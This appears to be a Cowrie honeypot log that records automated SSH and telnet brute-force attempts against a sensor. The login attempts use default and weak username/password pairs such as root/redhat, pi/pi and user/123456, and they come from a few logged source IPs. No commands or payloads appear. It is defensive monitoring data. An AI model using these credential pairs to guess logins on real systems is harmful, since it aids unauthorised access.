{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:47.065473Z","src_ip":"94.159.98.239","session":"75abf3bf46ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:48.005880Z","src_ip":"95.38.165.118","session":"7baf66176eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43338,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0d2112c55c","protocol":"ssh","message":"New connection: 95.38.165.118:43338 (10.17.0.5:22) [session: db0d2112c55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:49.286423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:49.291667Z","src_ip":"95.38.165.118","session":"db0d2112c55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:49.459307Z","src_ip":"95.38.165.118","session":"db0d2112c55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:50.846233Z","src_ip":"95.38.165.118","session":"db0d2112c55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:52.013760Z","src_ip":"95.38.165.118","session":"db0d2112c55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:53.919760Z","src_ip":"95.38.165.118","session":"7baf66176eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43342,"dst_ip":"10.17.0.5","dst_port":22,"session":"b388dae17927","protocol":"ssh","message":"New connection: 95.38.165.118:43342 (10.17.0.5:22) [session: b388dae17927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:54.912798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:54.918498Z","src_ip":"95.38.165.118","session":"b388dae17927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:55.086408Z","src_ip":"95.38.165.118","session":"b388dae17927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:55.561722Z","src_ip":"95.38.165.118","session":"b388dae17927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:56.721735Z","src_ip":"95.38.165.118","session":"b388dae17927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45718,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa1f6657c4fc","protocol":"telnet","message":"New connection: 69.4.83.194:45718 (159.203.135.109:23) [session: fa1f6657c4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:56.945983Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36458,"dst_ip":"10.17.0.5","dst_port":22,"session":"9077e16fa9c3","protocol":"ssh","message":"New connection: 95.38.165.118:36458 (10.17.0.5:22) [session: 9077e16fa9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:20:59.999770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:00.008331Z","src_ip":"95.38.165.118","session":"9077e16fa9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:00.244304Z","src_ip":"95.38.165.118","session":"9077e16fa9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:00.854735Z","src_ip":"95.38.165.118","session":"9077e16fa9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:02.044853Z","src_ip":"95.38.165.118","session":"9077e16fa9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.25817847251892,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:04.767840Z","src_ip":"178.128.93.180","session":"1f6b51bc7067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36462,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e6bee69fb6","protocol":"ssh","message":"New connection: 95.38.165.118:36462 (10.17.0.5:22) [session: 34e6bee69fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:06.408662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:06.418293Z","src_ip":"95.38.165.118","session":"34e6bee69fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:06.590006Z","src_ip":"95.38.165.118","session":"34e6bee69fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:09.126656Z","src_ip":"95.38.165.118","session":"34e6bee69fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37558,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba240159e013","protocol":"ssh","message":"New connection: 80.66.85.226:37558 (10.17.0.5:22) [session: ba240159e013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:09.232600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:09.237030Z","src_ip":"80.66.85.226","session":"ba240159e013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:09.324806Z","src_ip":"80.66.85.226","session":"ba240159e013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvf12","message":"login attempt [root/vfvf12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:09.589400Z","src_ip":"80.66.85.226","session":"ba240159e013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:10.315772Z","src_ip":"95.38.165.118","session":"34e6bee69fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58688,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b27416ed05","protocol":"ssh","message":"New connection: 95.38.165.118:58688 (10.17.0.5:22) [session: 13b27416ed05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:10.454972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:10.459313Z","src_ip":"95.38.165.118","session":"13b27416ed05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:10.625770Z","src_ip":"95.38.165.118","session":"13b27416ed05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:10.680334Z","src_ip":"80.66.85.226","session":"ba240159e013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:11.112293Z","src_ip":"95.38.165.118","session":"13b27416ed05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:12.267786Z","src_ip":"95.38.165.118","session":"13b27416ed05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58698,"dst_ip":"10.17.0.5","dst_port":22,"session":"06d6b8aa788e","protocol":"ssh","message":"New connection: 95.38.165.118:58698 (10.17.0.5:22) [session: 06d6b8aa788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:15.615738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:15.632270Z","src_ip":"95.38.165.118","session":"06d6b8aa788e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:15.787739Z","src_ip":"95.38.165.118","session":"06d6b8aa788e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:16.623557Z","src_ip":"95.38.165.118","session":"06d6b8aa788e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:18.600033Z","src_ip":"95.38.165.118","session":"06d6b8aa788e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52110,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5f20b16ed4","protocol":"ssh","message":"New connection: 95.38.165.118:52110 (10.17.0.5:22) [session: 6c5f20b16ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:20.816795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:20.824746Z","src_ip":"95.38.165.118","session":"6c5f20b16ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:21.572922Z","src_ip":"95.38.165.118","session":"6c5f20b16ed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:22.276930Z","src_ip":"95.38.165.118","session":"6c5f20b16ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:21:23.443208Z","src_ip":"95.38.165.118","session":"6c5f20b16ed4","protocol":"ssh"}
